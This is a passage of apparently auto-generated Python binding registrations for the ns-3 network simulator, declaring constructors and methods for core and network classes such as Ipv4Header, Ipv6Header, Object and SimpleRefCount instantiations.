ns3::int64x64_t::int64x64_t(ns3::int64x64_t const & o) [copy constructor] cls.add_constructor([param('ns3::int64x64_t const &', 'o')]) ## int64x64-double.h (module 'core'): double ns3::int64x64_t::GetDouble() const [member function] cls.add_method('GetDouble', 'double', [], is_const=True) ## int64x64-double.h (module 'core'): int64_t ns3::int64x64_t::GetHigh() const [member function] cls.add_method('GetHigh', 'int64_t', [], is_const=True) ## int64x64-double.h (module 'core'): uint64_t ns3::int64x64_t::GetLow() const [member function] cls.add_method('GetLow', 'uint64_t', [], is_const=True) ## int64x64-double.h (module 'core'): static ns3::int64x64_t ns3::int64x64_t::Invert(uint64_t v) [member function] cls.add_method('Invert', 'ns3::int64x64_t', [param('uint64_t', 'v')], is_static=True) ## int64x64-double.h (module 'core'): void ns3::int64x64_t::MulByInvert(ns3::int64x64_t const & o) [member function] cls.add_method('MulByInvert', 'void', [param('ns3::int64x64_t const &', 'o')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::implementation [variable] cls.add_static_attribute('implementation', 'ns3::int64x64_t::impl_type const', is_const=True) return def register_Ns3Chunk_methods(root_module, cls): ## chunk.h (module 'network'): ns3::Chunk::Chunk() [constructor] cls.add_constructor([]) ## chunk.h (module 'network'): ns3::Chunk::Chunk(ns3::Chunk const & arg0) [copy constructor] cls.add_constructor([param('ns3::Chunk const &', 'arg0')]) ## chunk.h (module 'network'): uint32_t ns3::Chunk::Deserialize(ns3::Buffer::Iterator start) [member function] cls.add_method('Deserialize', 'uint32_t', [param('ns3::Buffer::Iterator', 'start')], is_pure_virtual=True, is_virtual=True) ## chunk.h (module 'network'): static ns3::TypeId ns3::Chunk::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## chunk.h (module 'network'): void ns3::Chunk::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3Header_methods(root_module, cls): cls.add_output_stream_operator() ## header.h (module 'network'): ns3::Header::Header() [constructor] cls.add_constructor([]) ## header.h (module 'network'): ns3::Header::Header(ns3::Header const & arg0) [copy constructor] cls.add_constructor([param('ns3::Header const &', 'arg0')]) ## header.h (module 'network'): uint32_t ns3::Header::Deserialize(ns3::Buffer::Iterator start) [member function] cls.add_method('Deserialize', 'uint32_t', [param('ns3::Buffer::Iterator', 'start')], is_pure_virtual=True, is_virtual=True) ## header.h (module 'network'): uint32_t ns3::Header::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## header.h (module 'network'): static ns3::TypeId ns3::Header::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## header.h (module 'network'): void ns3::Header::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_pure_virtual=True, is_const=True, is_virtual=True) ## header.h (module 'network'): void ns3::Header::Serialize(ns3::Buffer::Iterator start) const [member function] cls.add_method('Serialize', 'void', [param('ns3::Buffer::Iterator', 'start')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3Ipv4Header_methods(root_module, cls): ## ipv4-header.h (module 'internet'): ns3::Ipv4Header::Ipv4Header(ns3::Ipv4Header const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4Header const &', 'arg0')]) ## ipv4-header.h (module 'internet'): ns3::Ipv4Header::Ipv4Header() [constructor] cls.add_constructor([]) ## ipv4-header.h (module 'internet'): uint32_t ns3::Ipv4Header::Deserialize(ns3::Buffer::Iterator start) [member function] cls.add_method('Deserialize', 'uint32_t', [param('ns3::Buffer::Iterator', 'start')], is_virtual=True) ## ipv4-header.h (module 'internet'): std::string ns3::Ipv4Header::DscpTypeToString(ns3::Ipv4Header::DscpType dscp) const [member function] cls.add_method('DscpTypeToString', 'std::string', [param('ns3::Ipv4Header::DscpType', 'dscp')], is_const=True) ## ipv4-header.h (module 'internet'): std::string ns3::Ipv4Header::EcnTypeToString(ns3::Ipv4Header::EcnType ecn) const [member function] cls.add_method('EcnTypeToString', 'std::string', [param('ns3::Ipv4Header::EcnType', 'ecn')], is_const=True) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::EnableChecksum() [member function] cls.add_method('EnableChecksum', 'void', []) ## ipv4-header.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4Header::GetDestination() const [member function] cls.add_method('GetDestination', 'ns3::Ipv4Address', [], is_const=True) ## ipv4-header.h (module 'internet'): ns3::Ipv4Header::DscpType ns3::Ipv4Header::GetDscp() const [member function] cls.add_method('GetDscp', 'ns3::Ipv4Header::DscpType', [], is_const=True) ## ipv4-header.h (module 'internet'): ns3::Ipv4Header::EcnType ns3::Ipv4Header::GetEcn() const [member function] cls.add_method('GetEcn', 'ns3::Ipv4Header::EcnType', [], is_const=True) ## ipv4-header.h (module 'internet'): uint16_t ns3::Ipv4Header::GetFragmentOffset() const [member function] cls.add_method('GetFragmentOffset', 'uint16_t', [], is_const=True) ## ipv4-header.h (module 'internet'): uint16_t ns3::Ipv4Header::GetIdentification() const [member function] cls.add_method('GetIdentification', 'uint16_t', [], is_const=True) ## ipv4-header.h (module 'internet'): ns3::TypeId ns3::Ipv4Header::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_const=True, is_virtual=True) ## ipv4-header.h (module 'internet'): uint16_t ns3::Ipv4Header::GetPayloadSize() const [member function] cls.add_method('GetPayloadSize', 'uint16_t', [], is_const=True) ## ipv4-header.h (module 'internet'): uint8_t ns3::Ipv4Header::GetProtocol() const [member function] cls.add_method('GetProtocol', 'uint8_t', [], is_const=True) ## ipv4-header.h (module 'internet'): uint32_t ns3::Ipv4Header::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True, is_virtual=True) ## ipv4-header.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4Header::GetSource() const [member function] cls.add_method('GetSource', 'ns3::Ipv4Address', [], is_const=True) ## ipv4-header.h (module 'internet'): uint8_t ns3::Ipv4Header::GetTos() const [member function] cls.add_method('GetTos', 'uint8_t', [], is_const=True) ## ipv4-header.h (module 'internet'): uint8_t ns3::Ipv4Header::GetTtl() const [member function] cls.add_method('GetTtl', 'uint8_t', [], is_const=True) ## ipv4-header.h (module 'internet'): static ns3::TypeId ns3::Ipv4Header::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## ipv4-header.h (module 'internet'): bool ns3::Ipv4Header::IsChecksumOk() const [member function] cls.add_method('IsChecksumOk', 'bool', [], is_const=True) ## ipv4-header.h (module 'internet'): bool ns3::Ipv4Header::IsDontFragment() const [member function] cls.add_method('IsDontFragment', 'bool', [], is_const=True) ## ipv4-header.h (module 'internet'): bool ns3::Ipv4Header::IsLastFragment() const [member function] cls.add_method('IsLastFragment', 'bool', [], is_const=True) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True, is_virtual=True) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::Serialize(ns3::Buffer::Iterator start) const [member function] cls.add_method('Serialize', 'void', [param('ns3::Buffer::Iterator', 'start')], is_const=True, is_virtual=True) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetDestination(ns3::Ipv4Address destination) [member function] cls.add_method('SetDestination', 'void', [param('ns3::Ipv4Address', 'destination')]) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetDontFragment() [member function] cls.add_method('SetDontFragment', 'void', []) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetDscp(ns3::Ipv4Header::DscpType dscp) [member function] cls.add_method('SetDscp', 'void', [param('ns3::Ipv4Header::DscpType', 'dscp')]) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetEcn(ns3::Ipv4Header::EcnType ecn) [member function] cls.add_method('SetEcn', 'void', [param('ns3::Ipv4Header::EcnType', 'ecn')]) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetFragmentOffset(uint16_t offsetBytes) [member function] cls.add_method('SetFragmentOffset', 'void', [param('uint16_t', 'offsetBytes')]) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetIdentification(uint16_t identification) [member function] cls.add_method('SetIdentification', 'void', [param('uint16_t', 'identification')]) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetLastFragment() [member function] cls.add_method('SetLastFragment', 'void', []) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetMayFragment() [member function] cls.add_method('SetMayFragment', 'void', []) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetMoreFragments() [member function] cls.add_method('SetMoreFragments', 'void', []) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetPayloadSize(uint16_t size) [member function] cls.add_method('SetPayloadSize', 'void', [param('uint16_t', 'size')]) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetProtocol(uint8_t num) [member function] cls.add_method('SetProtocol', 'void', [param('uint8_t', 'num')]) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetSource(ns3::Ipv4Address source) [member function] cls.add_method('SetSource', 'void', [param('ns3::Ipv4Address', 'source')]) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetTos(uint8_t tos) [member function] cls.add_method('SetTos', 'void', [param('uint8_t', 'tos')]) ## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetTtl(uint8_t ttl) [member function] cls.add_method('SetTtl', 'void', [param('uint8_t', 'ttl')]) return def register_Ns3Ipv6Header_methods(root_module, cls): ## ipv6-header.h (module 'internet'): ns3::Ipv6Header::Ipv6Header(ns3::Ipv6Header const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6Header const &', 'arg0')]) ## ipv6-header.h (module 'internet'): ns3::Ipv6Header::Ipv6Header() [constructor] cls.add_constructor([]) ## ipv6-header.h (module 'internet'): uint32_t ns3::Ipv6Header::Deserialize(ns3::Buffer::Iterator start) [member function] cls.add_method('Deserialize', 'uint32_t', [param('ns3::Buffer::Iterator', 'start')], is_virtual=True) ## ipv6-header.h (module 'internet'): std::string ns3::Ipv6Header::DscpTypeToString(ns3::Ipv6Header::DscpType dscp) const [member function] cls.add_method('DscpTypeToString', 'std::string', [param('ns3::Ipv6Header::DscpType', 'dscp')], is_const=True) ## ipv6-header.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6Header::GetDestinationAddress() const [member function] cls.add_method('GetDestinationAddress', 'ns3::Ipv6Address', [], is_const=True) ## ipv6-header.h (module 'internet'): ns3::Ipv6Header::DscpType ns3::Ipv6Header::GetDscp() const [member function] cls.add_method('GetDscp', 'ns3::Ipv6Header::DscpType', [], is_const=True) ## ipv6-header.h (module 'internet'): uint32_t ns3::Ipv6Header::GetFlowLabel() const [member function] cls.add_method('GetFlowLabel', 'uint32_t', [], is_const=True) ## ipv6-header.h (module 'internet'): uint8_t ns3::Ipv6Header::GetHopLimit() const [member function] cls.add_method('GetHopLimit', 'uint8_t', [], is_const=True) ## ipv6-header.h (module 'internet'): ns3::TypeId ns3::Ipv6Header::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_const=True, is_virtual=True) ## ipv6-header.h (module 'internet'): uint8_t ns3::Ipv6Header::GetNextHeader() const [member function] cls.add_method('GetNextHeader', 'uint8_t', [], is_const=True) ## ipv6-header.h (module 'internet'): uint16_t ns3::Ipv6Header::GetPayloadLength() const [member function] cls.add_method('GetPayloadLength', 'uint16_t', [], is_const=True) ## ipv6-header.h (module 'internet'): uint32_t ns3::Ipv6Header::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True, is_virtual=True) ## ipv6-header.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6Header::GetSourceAddress() const [member function] cls.add_method('GetSourceAddress', 'ns3::Ipv6Address', [], is_const=True) ## ipv6-header.h (module 'internet'): uint8_t ns3::Ipv6Header::GetTrafficClass() const [member function] cls.add_method('GetTrafficClass', 'uint8_t', [], is_const=True) ## ipv6-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6Header::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True, is_virtual=True) ## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::Serialize(ns3::Buffer::Iterator start) const [member function] cls.add_method('Serialize', 'void', [param('ns3::Buffer::Iterator', 'start')], is_const=True, is_virtual=True) ## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetDestinationAddress(ns3::Ipv6Address dst) [member function] cls.add_method('SetDestinationAddress', 'void', [param('ns3::Ipv6Address', 'dst')]) ## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetDscp(ns3::Ipv6Header::DscpType dscp) [member function] cls.add_method('SetDscp', 'void', [param('ns3::Ipv6Header::DscpType', 'dscp')]) ## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetFlowLabel(uint32_t flow) [member function] cls.add_method('SetFlowLabel', 'void', [param('uint32_t', 'flow')]) ## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetHopLimit(uint8_t limit) [member function] cls.add_method('SetHopLimit', 'void', [param('uint8_t', 'limit')]) ## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetNextHeader(uint8_t next) [member function] cls.add_method('SetNextHeader', 'void', [param('uint8_t', 'next')]) ## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetPayloadLength(uint16_t len) [member function] cls.add_method('SetPayloadLength', 'void', [param('uint16_t', 'len')]) ## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetSourceAddress(ns3::Ipv6Address src) [member function] cls.add_method('SetSourceAddress', 'void', [param('ns3::Ipv6Address', 'src')]) ## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetTrafficClass(uint8_t traffic) [member function] cls.add_method('SetTrafficClass', 'void', [param('uint8_t', 'traffic')]) return def register_Ns3Object_methods(root_module, cls): ## object.h (module 'core'): ns3::Object::Object() [constructor] cls.add_constructor([]) ## object.h (module 'core'): void ns3::Object::AggregateObject(ns3::Ptr<ns3::Object> other) [member function] cls.add_method('AggregateObject', 'void', [param('ns3::Ptr< ns3::Object >', 'other')]) ## object.h (module 'core'): void ns3::Object::Dispose() [member function] cls.add_method('Dispose', 'void', []) ## object.h (module 'core'): ns3::Object::AggregateIterator ns3::Object::GetAggregateIterator() const [member function] cls.add_method('GetAggregateIterator', 'ns3::Object::AggregateIterator', [], is_const=True) ## object.h (module 'core'): ns3::TypeId ns3::Object::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_const=True, is_virtual=True) ## object.h (module 'core'): static ns3::TypeId ns3::Object::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## object.h (module 'core'): void ns3::Object::Initialize() [member function] cls.add_method('Initialize', 'void', []) ## object.h (module 'core'): bool ns3::Object::IsInitialized() const [member function] cls.add_method('IsInitialized', 'bool', [], is_const=True) ## object.h (module 'core'): ns3::Object::Object(ns3::Object const & o) [copy constructor] cls.add_constructor([param('ns3::Object const &', 'o')], visibility='protected') ## object.h (module 'core'): void ns3::Object::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) ## object.h (module 'core'): void ns3::Object::DoInitialize() [member function] cls.add_method('DoInitialize', 'void', [], visibility='protected', is_virtual=True) ## object.h (module 'core'): void ns3::Object::NotifyNewAggregate() [member function] cls.add_method('NotifyNewAggregate', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3ObjectAggregateIterator_methods(root_module, cls): ## object.h (module 'core'): ns3::Object::AggregateIterator::AggregateIterator(ns3::Object::AggregateIterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::Object::AggregateIterator const &', 'arg0')]) ## object.h (module 'core'): ns3::Object::AggregateIterator::AggregateIterator() [constructor] cls.add_constructor([]) ## object.h (module 'core'): bool ns3::Object::AggregateIterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## object.h (module 'core'): ns3::Ptr<ns3::Object const> ns3::Object::AggregateIterator::Next() [member function] cls.add_method('Next', 'ns3::Ptr< ns3::Object const >', []) return def register_Ns3SimpleRefCount__Ns3AttributeAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeAccessor__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter< ns3::AttributeAccessor > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3AttributeChecker_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeChecker__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter< ns3::AttributeChecker > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3AttributeValue_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeValue__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter< ns3::AttributeValue > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3CallbackImplBase_Ns3Empty_Ns3DefaultDeleter__lt__ns3CallbackImplBase__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::SimpleRefCount(ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter< ns3::CallbackImplBase > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3EventImpl_Ns3Empty_Ns3DefaultDeleter__lt__ns3EventImpl__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::SimpleRefCount(ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter< ns3::EventImpl > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3FlowClassifier_Ns3Empty_Ns3DefaultDeleter__lt__ns3FlowClassifier__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::FlowClassifier, ns3::empty, ns3::DefaultDeleter<ns3::FlowClassifier> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::FlowClassifier, ns3::empty, ns3::DefaultDeleter<ns3::FlowClassifier> >::SimpleRefCount(ns3::SimpleRefCount<ns3::FlowClassifier, ns3::empty, ns3::DefaultDeleter<ns3::FlowClassifier> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::FlowClassifier, ns3::empty, ns3::DefaultDeleter< ns3::FlowClassifier > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::FlowClassifier, ns3::empty, ns3::DefaultDeleter<ns3::FlowClassifier> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3HashImplementation_Ns3Empty_Ns3DefaultDeleter__lt__ns3HashImplementation__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter< ns3::Hash::Implementation > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3Ipv4MulticastRoute_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4MulticastRoute__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter< ns3::Ipv4MulticastRoute > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3Ipv4Route_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4Route__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter< ns3::Ipv4Route > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3NetDeviceQueue_Ns3Empty_Ns3DefaultDeleter__lt__ns3NetDeviceQueue__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> >::SimpleRefCount(ns3::SimpleRefCount<ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter< ns3::NetDeviceQueue > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3NixVector_Ns3Empty_Ns3DefaultDeleter__lt__ns3NixVector__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::SimpleRefCount(ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter< ns3::NixVector > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3OutputStreamWrapper_Ns3Empty_Ns3DefaultDeleter__lt__ns3OutputStreamWrapper__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::SimpleRefCount(ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter< ns3::OutputStreamWrapper > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3Packet_Ns3Empty_Ns3DefaultDeleter__lt__ns3Packet__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Packet, ns3::empty, 